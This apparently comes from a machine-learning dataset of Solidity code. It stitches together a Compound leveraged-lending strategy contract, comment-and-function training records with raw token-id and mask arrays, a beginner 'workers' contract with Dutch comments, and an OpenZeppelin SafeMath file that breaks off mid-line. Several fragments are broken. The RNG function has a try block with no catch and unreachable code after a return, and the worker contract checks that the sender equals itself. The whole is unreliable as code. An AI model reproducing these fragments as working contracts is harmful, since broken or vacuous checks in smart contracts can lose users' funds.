mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } // File: contracts/interface/USDT.sol pragma solidity ^0.6.0; interface USDT { function approve(address guy, uint256 wad) external; function transfer(address _to, uint256 _value) external; } // File: contracts/strategies/compound/StrategyCmpdBase.sol pragma solidity ^0.6.2; abstract contract StrategyCmpdBase is StrategyBase, Exponential { address public constant comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant lens = 0xd513d22422a3062Bd342Ae374b4b9c20E0a9a074; address public constant comp = 0xc00e94Cb662C3520282E6f5717214004A7f26888; address public constant cether = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // dai/usdc address public want; // cdai/cusdc address public cwant; // Require a 0.05 buffer between // market collateral factor and strategy's collateral factor // when leveraging uint256 colFactorLeverageBuffer = 50; uint256 colFactorLeverageBufferMax = 1000; // Allow a 0.05 buffer // between market collateral factor and strategy's collateral factor // until we have to deleverage // This is so we can hit max leverage and keep accruing interest uint256 colFactorSyncBuffer = 50; uint256 colFactorSyncBufferMax = 1000; // Keeper bots // Maintain leverage within buffer mapping(address => bool) keepers; constructor( address _btf, address _want, address _cwant, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(_btf, _want, _governance, _strategist, _controller, _timelock) { // Enter cDAI Market want = _want; cwant = _cwant; address[] memory ctokens = new address[](1); ctokens[0] = _cwant; IComptroller(comptroller).enterMarkets(ctokens); } // **** Modifiers **** // modifier onlyKeepers { require( keepers[msg.sender] || msg.sender == address(this) || msg.sender == strategist || msg.sender == governance, "!keepers" ); _; } // **** Views **** // function getSuppliedView() public view returns (uint256) { (, uint256 cTokenBal, , uint256 exchangeRate) = ICToken(cwant) .getAccountSnapshot(address(this)); (, uint256 bal) = mulScalarTruncate( Exp({mantissa : exchangeRate}), cTokenBal ); return bal; } function getBorrowedView() public view returns (uint256) { return ICToken(cwant).borrowBalanceStored(address(this)); } function balanceOfPool() public override view returns (uint256) { uint256 supplied = getSuppliedView(); uint256 borrowed = getBorrowedView(); return supplied.sub(borrowed); } // Given an unleveraged supply balance, return the target // leveraged supply balance which is still within the safety buffer function getLeveragedSupplyTarget(uint256 supplyBalance) public view returns (uint256) { uint256 leverage = getMaxLeverage(); return supplyBalance.mul(leverage).div(1e18); } function getSafeLeverageColFactor() public view returns (uint256) { uint256 colFactor = getMarketColFactor(); // Collateral factor within the buffer uint256 safeColFactor = colFactor.sub( colFactorLeverageBuffer.mul(1e18).div(colFactorLeverageBufferMax) ); return safeColFactor; } function getSafeSyncColFactor() public view returns (uint256) { uint256 colFactor = getMarketColFactor(); // Collateral factor within the buffer uint256 safeColFactor = colFactor.sub( colFactorSyncBuffer.mul(1e18).div(colFactorSyncBufferMax) ); return safeColFactor; } function getMarketColFactor() public view returns (uint256) { (, uint256 colFactor) = IComptroller(comptroller).markets(cwant); return colFactor; } // Max leverage we can go up to, w.r.t safe buffer function getMaxLeverage() public view returns (uint256) { uint256 safeLeverageColFactor = getSafeLeverageColFactor(); // Infinite geometric series uint256 leverage = uint256(1e36).div(1e18 - safeLeverageColFactor); return leverage; } // **** Pseudo-view functions (use `callStatic` on these) **** // /* The reason why these exists is because of the nature of the interest accruing supply + borrow balance. The "view" methods are technically snapshots and don't represent the real value. As such there are pseudo view methods where you can retrieve the results by calling `callStatic`. */ function getCompAccrued() public returns (uint256) { (, , , uint256 accrued) = ICompoundLens(lens).getCompBalanceMetadataExt( comp, comptroller, address(this) ); return accrued; } function getHarvestable() external returns (uint256) { return getCompAccrued(); } function getColFactor() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return borrowed.mul(1e18).div(supplied); } function getSuppliedUnleveraged() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return supplied.sub(borrowed); } function getSupplied() public returns (uint256) { return ICToken(cwant).balanceOfUnderlying(address(this)); } function getBorrowed() public returns (uint256) { return ICToken(cwant).borrowBalanceCurrent(address(this)); } function getBorrowable() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); (, uint256 colFactor) = IComptroller(comptroller).markets(cwant); // 99.99% just in case some dust accumulates return supplied.mul(colFactor).div(1e18).sub(borrowed).mul(9999).div( 10000 ); } function getCurrentLeverage() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return supplied.mul(1e18).div(supplied.sub(borrowed)); } // **** Setters **** // function addKeeper(address _keeper) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); keepers[_keeper] = true; } function removeKeeper(address _keeper) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); keepers[_keeper] = false; } function setColFactorLeverageBuffer(uint256 _colFactorLeverageBuffer) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); colFactorLeverageBuffer = _colFactorLeverageBuffer; } function setColFactorSyncBuffer(uint256 _colFactorSyncBuffer) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); colFactorSyncBuffer = _colFactorSyncBuffer; } // **** State mutations **** // // Do a `callStatic` on this. // If it returns true then run it for realz. (i.e. eth_signedTx, not eth_call) function sync() public returns (bool) { uint256 colFactor = getColFactor(); uint256 safeSyncColFactor = getSafeSyncColFactor(); // If we're not safe if (colFactor > safeSyncColFactor) { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 idealSupply = getLeveragedSupplyTarget(unleveragedSupply); deleverageUntil(idealSupply); return true; } return false; } function leverageToMax() public { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 idealSupply = getLeveragedSupplyTarget(unleveragedSupply); leverageUntil(idealSupply); } // Leverages until we're supplying <x> amount // 1. Redeem <x> DAI // 2. Repay <x> DAI function leverageUntil(uint256 _supplyAmount) public onlyKeepers { // 1. Borrow out <X> DAI // 2. Supply <X> DAI uint256 leverage = getMaxLeverage(); uint256 unleveragedSupply = getSuppliedUnleveraged(); require( _supplyAmount >= unleveragedSupply && _supplyAmount <= unleveragedSupply.mul(leverage).div(1e18), "!leverage" ); // Since we're only leveraging one asset // Supplied = borrowed uint256 _borrowAndSupply; uint256 supplied = getSupplied(); while (supplied < _supplyAmount) { _borrowAndSupply = getBorrowable(); if (supplied.add(_borrowAndSupply) > _supplyAmount) { _borrowAndSupply = _supplyAmount.sub(supplied); } ICToken(cwant).borrow(_borrowAndSupply); deposit(); supplied = supplied.add(_borrowAndSupply); } } function deleverageToMin() public { uint256 unleveragedSupply = getSuppliedUnleveraged(); deleverageUntil(unleveragedSupply); } // Deleverages until we're supplying <x> amount // 1. Redeem <x> DAI // 2. Repay <x> DAI function deleverageUntil(uint256 _supplyAmount) public onlyKeepers { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 supplied = getSupplied(); require( _supplyAmount >= unleveragedSupply && _supplyAmount <= supplied, "!deleverage" ); uint256 _redeemAndRepay; do { // Since we're only leveraging on 1 asset // redeemable = borrowable _redeemAndRepay = getBorrowable(); if (supplied.sub(_redeemAndRepay) < _supplyAmount) { _redeemAndRepay = supplied.sub(_supplyAmount); } require( ICToken(cwant).redeemUnderlying(_redeemAndRepay) == 0, "!redeem" ); IERC20(want).safeApprove(cwant, 0); IERC20(want).safeApprove(cwant, _redeemAndRepay); require(ICToken(cwant).repayBorrow(_redeemAndRepay) == 0, "!repay"); supplied = supplied.sub(_redeemAndRepay); } while (supplied > _supplyAmount); } function harvest() public override onlyBenevolent { address[] memory ctokens = new address[](1); ctokens[0] = cwant; IComptroller(comptroller).claimComp(address(this), ctokens); uint256 _comp = IERC20(comp).balanceOf(address(this)); if (_comp > 0) { _swapUniswap(comp, want, _comp); } uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { if (devFundFee > 0) { uint256 _devFundFee = _want.mul(devFundFee).div(devFundMax); if (want == usdt) { USDT(want).transfer(IController(controller).devAddr(), _devFundFee); } else { IERC20(want).transfer(IController(controller).devAddr(), _devFundFee); } } // Burn some btfs first if (burnFee > 0) { uint256 _burnFee = _want.mul(burnFee).div(burnMax); _swapUniswap(want, btf, _burnFee); IERC20(btf).transfer( IController(controller).burnAddr(), IERC20(btf).balanceOf(address(this)) ); } if (comFundFee > 0) { uint256 _comFundFee = _want.mul(comFundFee).div(comFundMax); if (want == usdt) { USDT(want).transfer(IController(controller).comAddr(), _comFundFee); } else { IERC20(want).transfer(IController(controller).comAddr(), _comFundFee); } } deposit(); } } function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(cwant, 0); IERC20(want).safeApprove(cwant, _want); require(ICToken(cwant).mint(_want) == 0, "!deposit"); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { uint256 _want = balanceOfWant(); if (_want < _amount) { uint256 _redeem = _amount.sub(_want); // Make sure market can cover liquidity require(ICToken(cwant).getCash() >= _redeem, "!cash-liquidity"); // How much borrowed amount do we need to free? uint256 borrowed = getBorrowed(); uint256 supplied = getSupplied(); uint256 curLeverage = getCurrentLeverage(); uint256 borrowedToBeFree = _redeem.mul(curLeverage).div(1e18); // If the amount we need to free is > borrowed // Just free up all the borrowed amount if (borrowedToBeFree > borrowed) { this.deleverageToMin(); } else { // Otherwise just keep freeing up borrowed amounts until // we hit a safe number to redeem our underlying this.deleverageUntil(supplied.sub(borrowedToBeFree)); } // Redeems underlying require(ICToken(cwant).redeemUnderlying(_redeem) == 0, "!redeem"); } return _amount; } } // File: contracts/strategies/compound/StrategyCmpdDaiV1.sol pragma solidity ^0.6.2; contract StrategyCmpdDaiV1 is StrategyCmpdBase { address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; constructor( address _btf, address _governance, address _strategist, address _controller, address _timelock ) public StrategyCmpdBase(_btf, dai, cdai, _governance, _strategist, _controller, _timelock) { } // **** Views **** // function getName() external override pure returns (string memory) { return "StrategyCmpdDaiV1"; } }
Max leverage we can go up to, w.r.t safe buffer Infinite geometric series
function getMaxLeverage() public view returns (uint256) { uint256 safeLeverageColFactor = getSafeLeverageColFactor(); uint256 leverage = uint256(1e36).div(1e18 - safeLeverageColFactor); return leverage; } are technically snapshots and don't represent the real value. As such there are pseudo view methods where you can retrieve the results by calling `callStatic`.
397,449
[ 1, 2747, 884, 5682, 732, 848, 1960, 731, 358, 16, 341, 18, 86, 18, 88, 4183, 1613, 657, 9551, 7364, 1591, 4166, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7288, 1682, 5682, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 4183, 1682, 5682, 914, 6837, 273, 1322, 2513, 1682, 5682, 914, 6837, 5621, 203, 203, 3639, 2254, 5034, 884, 5682, 273, 2254, 5034, 12, 21, 73, 5718, 2934, 2892, 12, 21, 73, 2643, 300, 4183, 1682, 5682, 914, 6837, 1769, 203, 3639, 327, 884, 5682, 31, 203, 565, 289, 203, 203, 4202, 854, 17734, 6478, 12808, 471, 2727, 1404, 2406, 326, 2863, 460, 18, 203, 4202, 2970, 4123, 1915, 854, 12454, 1476, 2590, 1625, 1846, 848, 4614, 326, 203, 4202, 1686, 635, 4440, 1375, 1991, 5788, 8338, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42220/0xd8Cd3d9AB4bb9C435a0b40B71A83D2EC0601234A/sources/contracts/longhu_RNG_Celo.sol
* Requests randomness/ Do something if the call succeeds
function getRandomNumber() private returns (uint32,uint32) { try rng.requestRandomNumber() returns (uint32 requestId, uint32 lockBlock) { return (requestId,lockBlock); emit Log("call RNGBlockhash requestRandomNumber failed"); return (0,0); } }
16,328,438
[ 1, 6421, 2744, 4496, 19, 2256, 5943, 309, 326, 745, 21933, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 20581, 1854, 1435, 3238, 1135, 261, 11890, 1578, 16, 11890, 1578, 13, 225, 288, 203, 3639, 775, 11418, 18, 2293, 8529, 1854, 1435, 1135, 261, 11890, 1578, 14459, 16, 2254, 1578, 2176, 1768, 13, 288, 203, 5411, 327, 261, 2293, 548, 16, 739, 1768, 1769, 203, 5411, 3626, 1827, 2932, 1991, 534, 4960, 1768, 2816, 590, 8529, 1854, 2535, 8863, 203, 5411, 327, 261, 20, 16, 20, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
import "./people.sol"; pragma solidity 0.5.12; pragma experimental ABIEncoderV2; //contract HelloWorld /* workers is HelloWorld*/ { // function createPerson(string calldata name, uint age, uint height) external payable; //function deletePerson(string memory name) public; //} //contract workers is HelloWorld { //} contract createWorkers is HelloWorld { struct Boss { string name; string department; } mapping(address=> uint) private salary; mapping (address => Boss) public bosses; mapping (address => mapping (string =>Person)) public myWorkers; //https://www.youtube.com/watch?v=wJnXuCFVGFA hier nested mapping uitleg // mapping (address =>) // HelloWorld instance = HelloWorld(0x86BC11dc845C51ddB8AFaA251d158a967873fe62); // struct Boss { string bossName; } //bonus delete only by boss mapping(address=> Boss) public bossOfWorker; // function createBoss (address _address, string bossName) { // var Boss = bossW function createBoss (string memory name, string memory department) public { //require() //boss cannot be worker, op de een of andere manier hier in verwerken Boss memory newBoss; newBoss.name = name; newBoss.department = department; insertBoss(newBoss); } function insertBoss(Boss memory newBoss) private { address creator = msg.sender; bosses[creator] = newBoss; } function getBoss() public view returns(string memory name, string memory department){ address creator = msg.sender; return (bosses[creator].name, bosses[creator].department); } function createWorker (string memory name, uint age, uint height, uint salaryWorker) public { address Boss_that_creates_worker = msg.sender; require (msg.sender == Boss_that_creates_worker); require(age <= 75); createPerson(name,age,height); //createPerson.myWorkers[msg.sender](name,age,height); // myWorkers[msg.sender](name,age,height); salary[msg.sender] = salaryWorker; // bosses[msg.sender].name = bossname; // string memory bossname = bosses[msg.sender].name; //string memory boss = bosses[msg.sender].name; // string memory bossOfWorker = bosses[msg.sender].name; // Boss[msg.sender].name = bossOfWorker; } function fireWorker (address worker) public onlyOwner{ // address boss_Of_Worker = ; // require (msg.sender == bossWorker); deletePerson(worker); // instance.deletePerson(name); // instance.deletePeople([creator.name]); // instance.deletePerson(address); //delete people.name; //bonus delete only by boss // require() // assert(worker != Boss) //hier moet ik de worker via address deleten niet naam } }
require()boss cannot be worker, op de een of andere manier hier in verwerken
function createBoss (string memory name, string memory department) public { Boss memory newBoss; newBoss.name = name; newBoss.department = department; insertBoss(newBoss); }
2,562,600
[ 1, 6528, 1435, 70, 8464, 2780, 506, 4322, 16, 1061, 443, 425, 275, 434, 471, 822, 3161, 2453, 366, 2453, 316, 1924, 2051, 28735, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 377, 445, 752, 38, 8464, 261, 1080, 3778, 508, 16, 533, 3778, 443, 15750, 13, 1071, 288, 203, 3639, 605, 8464, 3778, 394, 38, 8464, 31, 203, 3639, 394, 38, 8464, 18, 529, 273, 508, 31, 203, 3639, 394, 38, 8464, 18, 323, 15750, 273, 443, 15750, 31, 203, 203, 3639, 2243, 38, 8464, 12, 2704, 38, 8464, 1769, 203, 203, 377, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-03-10 */ // File: contracts/utils/Address.sol pragma solidity 0.5.17; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: contracts/utils/SafeMath.sol pragma solidity 0.5.17; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: 